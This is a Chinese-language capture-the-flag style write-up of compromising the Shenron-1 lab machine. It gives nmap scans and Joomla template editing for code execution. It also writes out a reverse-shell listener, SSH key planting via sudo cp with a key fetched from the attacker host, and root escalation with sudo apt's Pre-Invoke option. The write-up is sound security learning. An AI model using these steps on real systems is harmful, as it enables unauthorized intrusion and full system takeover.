上周的靶机打到一半,发现登陆认证日志(auth.log)包含无法实现,原因是高版本的Linux自带的SSH增加了对连接用户名的限制,尝试各种方法后未能解决,因此换了台靶机。
这次是Shenron系列的第一台,简单难度
环境
虚拟机软件:VirtualBox 7.0.18
网络连接模式:NAT网络
攻击机:kali-linux,ip为10.0.2.4
目标机:ip为10.0.2.8
渗透过程
发现目标主机后扫描全端口:nmap --min-rate 10000 -p- 10.0.2.8
进一步扫描,探测目标服务版本号与操作系统:nmap -sT -sC -sV -O -p22,80 10.0.2.8
SSH版本8.2;web服务中间件为Apache,版本2.4;操作系统为Ubuntu
都是些常规的扫描,不多说了
脚本扫描,查看是否有常见的可利用漏洞:nmap --script=vuln -p22,80 10.0.2.8
枚举出了/test
目录,接下来可以去web界面看看这个目录是什么内容
网站进去是Apache默认界面,查看/test
目录
显示了目录下的文件信息,说明目标没有关闭Apache下的目录浏览功能
将该文件拉取到本地,方便后续查看:wget http://10.0.2.8/test/password
其中内容如下:
|
|
给了我们admin用户的密码,尝试ssh登陆,发现目标不能通过密码连接,只能通过公钥连接
因此,目前ssh连接这一条路是走不通了,暂时也没找到更多信息,开始扫描目录
枚举出了新的目录 joomla,确定模板使用了joomla内容管理系统
访问后跳转界面如下
是个登陆界面,先随便输几个字段看看回显,得到
无论是密码还是用户名出错回显都相同,无法通过枚举得出存在的用户名
用我们之前的到的用户名密码登陆admin账户登陆后,发现只有普通的业务,因此需要找到网站后台目录
Joomla的后台默认目录是/administrator
,访问后跳转到后台登陆页面
用之前获得的admin账号密码成功登陆后台
通过System下的information可以获得详细的版本信息
可以看到Jommla版本为3.9.23,去网上看看该版本受哪些漏洞的影响
搜到了CVE-2021-23132,具体复现过程可看这篇 漏洞复现 CVE-2021-23132 Joomla远程代码执行漏洞
由于环境不完全一样,我们登陆进来的后台用户就是超级用户,因此可以直接修改网页文件
修改Beez3模板下的error.php,插入phpinfo
保存后访问http://10.0.2.8/joomla/templates/beez3/error.php,得到回显
写入php反弹shell代码:
|
|
监听端口:nc -lvnp 9999
成功getshell
但此时的shell交互性极差,用python改善下交互性:python3 -c "import pty;pty.spawn('/bin/bash');"
提权
提权shenron
先看看有哪些可提权的用户:cat /etc/passwd | grep "/bin/bash"
除了root以外还有两个用户
四下查找一番,在网页目录里找到了配置文件configuration.php
,配置文件中可能会写有用户相关信息
找到了mysql用户jenny的密码,猜测可能存在密码复用,直接提权
提权成功后,来到jenny的目录下,可以找到隐藏的文件夹.ssh
查看当前用户权限:sudo -l
看到我们可以用shenron的身份来执行cp命令,这代表我们可以用cp往shenron用户的文件夹写文件,其中就包括shenron的.ssh
文件夹
提权思路:由于我们之前无法用密码登陆ssh,那就只能用公钥登陆。以本地为服务端,将生成的公钥上传到目标机,再用cp命令往shenron的
.ssh
文件夹中存放公钥,就可直接在本地进行ssh连接shenron(恶补了ssh连接的相关知识)
在本地用户.ssh
目录下生成公私钥:ssh-keygen -t [指定算法]
当然也可以用自己原本就有的,我这里就是
.pub
为后缀的就是公钥,我们要将公钥上传到目标机器的tmp目录下(tmp目录是所有用户都有权访问的)
在本地用python开一个http服务:python -m http.server
在目标机上用wget将公钥下载过去:wget http://10.0.2.4:8000/id_ed25519.pub
再将公钥内容写入authorized_keys
文件(该文件用于存放他人连接的公钥)
最后用cp将该文件拷贝进shenron目录下的.ssh
文件夹,这时,我们的攻击机就可以使用公私钥直接ssh连接目标机了
在当前目录下获得第一个flag
提权root
照着之前的思路去找SUID文件与后台任务,没有任何收获,最后尝试找下有没有属于shenron用户的文件,没想到真的有收获:find / -user shenron -type f 2>/dev/null
存放着shenron用户的密码,这样就可以sudo -l
查看当前用户的权限了
apt命令,那么很明显就是apt提权了:sudo apt uodate -o APT::Update::Pre-Invoke::="/bin/bash"
-o
:通过命令行指定配置APT::Update::Pre-Invoke::="/bin/bash"
:指定在apt调用dpkg之前(Pre-Invoke)运行的shell命令 这台机器就拿下了
总结
学到了很多新东西,中途还去恶补了SSH连接与APT提权相关的知识
就我目前的阶段而言,这是一台很不错的靶机,回顾一下:
- 发现无法用密码进行ssh连接目标机器
- 通过nmap扫描出test目录,获取网站后台admin的密码
- 目录扫描出网站前台,确认使用的CMS是joomla
- 进入默认后台路径,登陆后查看版本信息,使用互联网寻找对应版本的漏洞
- 通过漏洞反弹shell至本机,成功getshell
- python提升shell交互性
- 通过mysql配置文件猜测用户jenny存在密码复用,直接提权
- jenny拥有shenron身份的cp命令,往shenron的
.ssh
文件夹写公钥,直接ssh连接 - 找到shenron用户的密码,
sudo -l
查看到apt命令拥有root权限 - apt修改配置提权,拿下靶机
其中,APT提权部分的详细原理,我打算放在之后的提权总结里去细讲(等我没那么菜时)
而打靶记录系列我还是会尽量以思路讲解为核心